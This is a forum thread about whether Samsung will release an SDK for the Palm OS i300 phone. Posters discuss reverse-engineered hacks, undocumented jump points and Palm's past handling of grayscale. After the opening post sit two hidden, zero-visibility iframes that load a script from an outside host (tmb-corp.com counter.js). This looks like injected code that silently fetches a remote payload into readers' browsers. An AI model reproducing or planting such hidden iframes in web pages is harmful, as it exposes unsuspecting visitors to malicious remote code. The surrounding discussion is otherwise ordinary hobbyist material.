I don't think we should expect a sdk from samsung. It is not that realistic. if u look at the i300, the only application that samsung write on its own is the PHONE program, everything else is from palm os. So, do u think samsung has putted a team of engineer to develop the sdk kit for i300? it is highly unlikely. The only thing that in hope that samsung will realease is the libary for access its phone modem, but this is priepriotary. i don't see why samsung needs to realease it anyways.
so people, u r on ur own~

:o<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

I had read (on the Sprint PCS developer's forum, I believe) that Samsung had engaged a third-party firm to write the SDK. But I can't confirm that to be true. Sigh.

--Jesse

__________________
New smartphone discussion board! :cool:
:: Visit smartphonecentral.com today and start talking! ::

If Samsung had gone with OS4, 98% of the phone's OS would be standard Palm and Samsung's cooperation would be mostly irrelevant.

Unfortunately, they went with OS3.52. All of the phone-related functions are proprietary Samsung PalmOS extensions, as is the soft graffiti area.

Samsung basically has two choices:

Release a SDK soon, or at least a collection of proper header files

Remain silent as hacked, reverse-engineered, and kludged attempts to use the phone's features proliferate -- and cause a MAJOR tech support headache for Samsung three months from now when they quietly make a minor revision to the OS that results in thousands of calls to tech support and RMA'ed units because some popular i300 program doesn't work with it (because a function meant to be called only through some helper function got called directly because that's the entry point the program's developer or somebody else discovered by accident, and Samsung never bothered to tell him and others there's a proper way to call it instead).

Case in point: Pre-OS3.5 grayscale. For the first two years, Palm tried to pretend it didn't exist as various work-arounds to use it were gradually discovered by developers. Grayscale apps grew in popularity, and started causing a tech support headache for Palm. Palm discovered that users aren't stupid... if they know something is "unsupported" and will get them blown off by tech support with a stern admonition to remove the offending app, they'll call tech support and LIE about having installed it... beating around the bush probing for some alternate solution -- causing an even BIGGER headache for tech support. Ultimately, Palm bit the bullet and documented the least-offensive way for developers to use grayscale on pre-3.5OS Palm hardware.

If Samsung drags its feet, it's only going to cost it more in tech support costs in the long run.

fikse - your unbias is amazing - not only do you allow a cane to join, but you even allow him to post - wow.

__________________
Cliff

For information's sake, currently only the full screen hack relies on an arbitrary jump point. The graffiti hack is pretty standard, and will run on even a non-i300 (it just won't do anything). The dialer basically just passes a custom "command line" to the PhoneApp, so it isn't doing anything so horrible that it will break if/when the phone is updated.

As for the full screen hack, the source code I provided really shouldn't be used in the raw. A prudent developer would check the first few bytes of the jump-point, and maybe even the last few bytes of the function (debug symbol) to make sure they're there... if not, then don't call the jump point.

One other thing to note... My code is pretty nice in my opinion. I've looked at PDAapps stuff, and they seem to use a hard coded jump point address. Mine looks for the database resource and calls the jumppint as an offset from that. A side effect of this that it works with both UI and UJ rom version (Samsung hasn't changed the phExtn extension)... Who knows, though... this could change.

Also, for the more adventerous folks out there... this: I've pulled some relevant databases off the i300 and installed them in a hack version of the IIIc 3.5 rom. Guess what happens? Right, it crashes. But before it does crash, it diesplays the statbar "Phone Off".. the area at the top where the battery meter is) Does this mean that its a standard 3.52 install with simply extensions done via installed applications and databases? Perhaps...

And given that we know that the phone does have a flash... we i'd say there's a good bet that its upgradable.

I'm about done. my 15 minutes of free time is up... but keep in mine this: I've been operating under the "no SDK ever" mentality all along. Using the methods I outline here should not be considered a bad practice... however developers should check the phone version and jump point before sending the phone off to try and execute a block of memory which might be a bitmap, notepad entry, or something more destructive.

Jake